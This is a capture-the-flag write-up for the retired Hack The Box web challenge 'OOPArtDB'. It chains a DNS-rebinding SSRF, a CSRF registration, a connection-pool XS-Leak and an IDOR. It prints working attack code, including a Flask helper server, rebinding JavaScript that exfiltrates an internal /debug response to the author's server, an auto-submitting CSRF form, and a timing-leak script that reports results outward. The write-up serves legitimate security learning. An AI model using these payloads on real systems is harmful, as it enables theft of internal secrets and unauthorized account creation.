HTB - OOPArtDB Writeup

HTB - OOPArtDB Writeup

·

10 min read

\x00 - TLDR;

To solve this web challenge I chained the following vulnerabilities:
1. Using SSRF with DNSReinding attack in order to extract info from internal API.
2. Perform CSRF attack using secret token to register user to the application.
3. Using XS-Leak connection pool flooding technique to find the record ID containing the flag.
4. Unauthorized access to the record containing the flag (IDOR) using the extracted record ID.

\x01 - Analyzing the Challenge

Finally, this challenge is deprecated and I can publish my writeup about it.
After comparing notes with other solutions I get it is probably not the intended one, but it worked and its mine and I think it covers some nice techniques.

Going flagwards

When attempting open-source challenges like this one, my basic approach is first of all see where the flag is located, think about how can I reach it, and map my way backwards.

As we can see, the flag is stored inside the database, between chunks of hex-junk with "overseer" accesslevel.
Now we verified that the flag is inside DB record - how do we access one?

We can see we have two more permissions here "researcher" (authenticated) and "guest" (unauthenticated), the application won't show us records with "overseer" accesslevel, and we can directly access a records using its name or id.

And as we can see, while being logged in to the application, we can access every record by submitting the correct ID - which is classic IDOR vulnerability.

Becoming a researcher

As seen earlier, in order to access the flag record we need to gain researcher privileges, so how do we do it?

In order to create a user with researcher privileges we need to be logged in (researcher/overseer) and a "REFERRAL_TOKEN" which is defined as a global variable.
So as we don't have any way to authenticate without register, we can safely assume we will need to perform a CSRF attack, and take advantage of the "overseer" user.
But how do we discover the token?

The "debug" API, which is internal-only (ip !== "127.0.0.1"), will print out the whole "global" object, which surely will include the "REFERRAL_TOKEN".

Finding our way blindly but surely

When seeing internal-only endpoint (and the puppeteer library) you know for sure that some SSRF awaits.
There is a "scan" API which triggers a puppeteer agent to visit a URL along with "overseer" session:

We can see that no response will return to use, meaning it is a blind SSRF, moreover, the puppeteer client is using "networkidle2" and timeout of 7000 milis, which is not a lot - but we will get into it later on this article.

So we need to extract a value from internal endpoint using only blind SSRF - one method to un-blind SSRF is using DNS rebinding technique, that way we can beat the SOP mechanism and read responses from localhost.

We can now conclude that we almost have the full attack flow, the only part missing is how to discover the ID or the record containing the flag? I will get into that on the exploit section.

\x02 - The Exploit

Not-so-blind-SSRF: extracting token from debug API

Took me some time researching how to perform the DNS rebinding here, as there were some obstacles:

  1. Chromium does not respect the TTL of a DNS packet, instead it will cache any domain for 60 seconds (See here).

  2. The time limit of the Puppeteer client is very short.

So we cannot make chromium "forget" our resolved hostname and on the other hand we cannot wait 60 seconds,what a bummer.

In order to tackle those obstacles I took two approaches - one is delaying the Puppeteer client, and the second is DNS cache flooding, hopefully I will make the chromium "forget" my resolved hostname after 60 seconds or after storing tons of DNS records.

I built a Flask server that will do the following:

  1. Present a JS script containing the rebinding logic.

  2. Present a JS script which will be used as a webworked for cache flooding.

  3. Multiple hanging endpoints, such as delayed requests or small image with larger content type - to prolong our Puppeteer session.

from flask import Flask, render_template, make_response
import time

app = Flask(__name__)

##This one will serve the rebinding payload
@app.route("/dn")
def index():
        resp = make_response(render_template("rebind.html"),200)
        return resp


#A JavaScript file that will be used as a cache flooding webworker
#Took the flooding script from the singularity of origin tool 
#https://github.com/nccgroup/singularity/blob/master/html/flushdnscache.js

@app.route("/flushdnscache.js")
def webworker():
        x = """
function flush(hostname, iterations) {
        const start = Math.ceil(Math.random() * 2 ** 32)
        const maxIter = start + iterations
        for (let i = start; i < maxIter; i++) {
                let url = `http://n${i}.${hostname}:80/`;
                fetch(url, {mode: \'no-cors\'});
        };
}

onmessage = function (message) {
    flush(message.data.hostname, message.data.iterations);
}

"""
        resp = make_response(x, 200)
        resp.headers['Content-Type'] = "text/html; charset=UTF-8"
        return resp

#This section contains multiple headless agent hanging techniques

@app.route("/hang.png", methods = ['POST','GET'])
def hang():
        resp = make_response("",200)
        resp.headers['Content-Length'] = "12"
        return resp

@app.route("/sleep")
def sleepy():
        time.sleep(60)
        resp = make_response("",404)
        return resp

@app.route("/sleep2")
def sleepy2():
        time.sleep(35)
        resp = make_response("",404)
        return resp

@app.route("/sleep3")
def sleepy3():
        time.sleep(35)
        resp = make_response("",404)
        return resp

@app.route("/sleep4")
def sleepy4():
        time.sleep(35)
        resp = make_response("",404)
        return resp


app.run(host="0.0.0.0", port=80, debug=True)
<html>
<!-- this will slow the agent -->
<img src="http://<my_server>:80/sleep"/>
<img src="http://<my_server>:80/sleep2"/>
<img src="http://<my_server>:80/sleep3"/>
<script>
function fetchText() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
                fetch("http://my_server:80/export?e="+btoa(encodeURI(xhr.responseText)));
        }
}

xhr.open("GET","http://a.rebind.<my_server>:80/debug");
xhr.send(null);

}

function extract(){
        fetchText();
}
setTimeout(extract,27000);

//loading the cache flooding webworker 
let worker = new Worker('flushdnscache.js');
let params = {};
params.hostname = "a.rebind.<my_server>";
params.iterations = 1000;
worker.postMessage(params);
</script>
</html>

The delaying techniques worked because the Puppeteer client is using "networkidle2" configuartion, meaning, as long there is more that two active network connections our client wont die.

And after few attempts and tweaks I got the global object!

Registering a researcher

This part was quite easy, I used my server to present a CSRF payload and make the overseer register a new user with the extracted token:

<html>
<form id="register" name="register" action="http://localhost:80/register" method="post">
<input type="text" id="user" name="user" value="hacky">
<input type="text" id="pass" name="pass" value="hack">
<input type="text" id="token" name="token" value="REPLACE_WITH_SECRET_TOKEN">
<input type="submit" value="Submit">
<script>
document.forms["register"].submit();
</script>

</html>

XS-Leak hell: finding the record ID

As a researcher we still cannot see the record contaning the flag, and after some digging I came to the conclusion that it will only serve me for accessing the flag - but it is no use in finding it.

In order to find it, I will need to take advantage of the "overseer" user, and tell what is the correct id while blindly making search attempts.
The following steps will be needed for succesfully leaking stuff:

  1. Knowing that the correct query resulted in the flag record.

  2. Finding a way to tell apart correct query from failed query.

  3. Finding a way to leak the result when false or true (depends of the search method and leaking technique).

Knowing that the correct result bearing the flag is easy as I can filter using the "accesslevel" of only "overseer":

Finding the diff was tricky, and after solving the challenge I have talked with others who did and discovered other options to do so, and probably mine was the dumbest ^^".

After some trials on my local environment I found out that the response message is URL encoded, which makes a valid search query longer than invalid query:

Now the code section responsible for the response message had interesting behaviour - it will print back anything from after the "?" back on the response message:

Now I can mix this behavior with this XS-Leak technique - which will use the browser's connection pool to measure the timing of a request.
In short - I will run a script that will make 255 out of 256 TCP sockets busy, and use the remaining one to measure how long it takes for the puppeteeer to send the next request.
So if I can tell apart invalid and valid search queries by the time it takes for the browser to send the next request in the que - I can extract the record ID containing the flag!

Using the mechanism described above, I can make a request with a lengthy URL that will be close to the maximum allowed characters for URLs - when the server will respond for valid query, the redirect URL will be longer and therefore the request will fail, therefore the next request will be send much much faster.

In short: next request being faster meaning the previous request found the flag.
Now we can extract the record ID letter by letter:

Moreover, I found that the client-side of the search contains a HTML injection, but there is DOM sanitizer so only few tags are allowed - but I can still make the rendering of the webpage longer to make the diff more noticable.

After lots of work I produced somewhat ok script that will perform what I described above (took most of it from here).

💡
This script is far from complete, and containing many errors which I tweaked on-the-go and was too mentally broken and lazy for recording, so don't expect it to work without modifications.
<html>
<head>
</head>
<body>
<script>
//STATIC VARIABLES SECTION////
let alphabet = "abcdefg1234567890";
let paddingNum = 3105;
let pad = "a";
var HTMLInjection = "";
const attackerURL = "http://<my_server>:80/leak";

///FUNCTIONS SECTION////
//export finding to my server
function report(char, time) {
    fetch(attackerURL + "?query=" + char + "&delta=" + time);
}

//get random number
function getRandomInt() {
        var num1 = Math.floor(Math.random() * 9);
        var num2 = Math.floor(Math.random() * 9);
        var finalNum = "" + num1 + "" + num2 + "";
  return finalNum;
}

//create the form to send
function createForm(payload, paddingNum){
    //creating the payload for prolonging the request load time
    for(let i = 0; i < 10 ;i++){
        HTMLInjection = HTMLInjection + "<img src=\"\debug?" + getRandomInt()  + "\"/>";
    }
//tried bunch of stuff to make a good delay, dunno

var vidTag = "<video width=\"320\" height=\"240\" controls><source src=\"\debug\" type=\"video/mp4\"><source sr>    //creating the form  <form name="leak" id="leak" action="http://0.0.0.0:1337/debug" method="post" target="_blank" >

var form = document.createElement("form");
    form.setAttribute("method", "post");
    form.setAttribute("action", "http://localhost:80/search?"+pad.repeat(paddingNum)+"&error=" + vidTag  + HTMLInjectio>    form.setAttribute("target", "_blank");
    form.setAttribute("id", "leak_"+payload);
    form.setAttribute("name", "leak_"+payload);

    //creating the level parameter <input type="text" name="level" value="overseer"/>
    var levelParam = document.createElement("input");
    levelParam.setAttribute("type", "text");
    levelParam.setAttribute("name", "level");
    levelParam.setAttribute("value", "overseer");

    //creating the query parameter  <input type="text" name="query" value="" />
    var queryParam = document.createElement("input");
    queryParam.setAttribute("type", "text");
    queryParam.setAttribute("name", "query");
    queryParam.setAttribute("value",payload);
//appending all html tags to DOM
    document.getElementsByTagName("body")[0].appendChild(form);
    form.appendChild(levelParam);
    form.appendChild(queryParam);
    //send the form
    form.submit();
        HTMLInjection = "";
}

const leak = async (c) => {
    // Prepare post with known flag and the new char
    let payload = c;
    let deltas = [];

    //let the socket pool be flooded!
    for (let i = 0; i < 3; i++){
        const SOCKET_LIMIT = 255;
const SLEEP_SERVER = i => "http://" + i + ".rebind.<my_server>:80/sleep";

        const block = async (i, controller) => {
            try {
                return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
                }
            catch(err) {}
                };
                // block SOCKET_LIMIT sockets
        const controller = new AbortController();
        for (let i = 0; i < SOCKET_LIMIT; i++) {
            block(i, controller);
            }

        /////////////send the search request///////////////
        createForm(c,paddingNum);

        await new Promise(r => setTimeout(r, 500));

                        // start meassuring time to perform 5 requests
        let start = performance.now();
await Promise.all([
            fetch("https://example.com", { mode: "no-cors" }),
            fetch("https://example.com", { mode: "no-cors" }),
            fetch("https://example.com", { mode: "no-cors" }),
            fetch("https://example.com", { mode: "no-cors" }),
            fetch("https://example.com", { mode: "no-cors" })
            ]);
        let delta = performance.now() - start;

        // Save time needed
        deltas.push(delta);
        return deltas;
    };
}
const pwn = async () => {
        // Try to leak each character
    for(let i = 0; i < alphabet.length; i++) {
            //Check the indicated char
        let deltas = await leak(alphabet[i]);

// Calculate mean time from requests to example.com
        let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;

            // If greater than 1000, the HTML code was injected - no flag found (not error)
        if (avg > 1000) {
            report("Miss_" + alphabet[i], deltas)
        }
            // Error - meaning query found flag
        else {
            report("Flag_" + alphabet[i], deltas)
        }
    }
};

    window.onload = async () => {
        pwn();
    };
</script>
</body>
</html>

One experience I have to write about here is - that when testing on my local environment the delay was so small that it was hard to tell if the script was working.
But I was somewhat pretty sure it should work and tried it on the challenge anyway and the timegap was much larger, so sometimes just trying what feels like the correct answer is always good.

And it worked! shorted response time was telling which character was part of the record ID!!!
At this point I was so tired and my script was so buggy so after extracting 5 characters I allowed myself to brute force the rest, the cyber gods will allow it I'm sure.

And that's it! hope this writeup was informative, this challenge was one of the coolest I have tried so Kudos to the authors!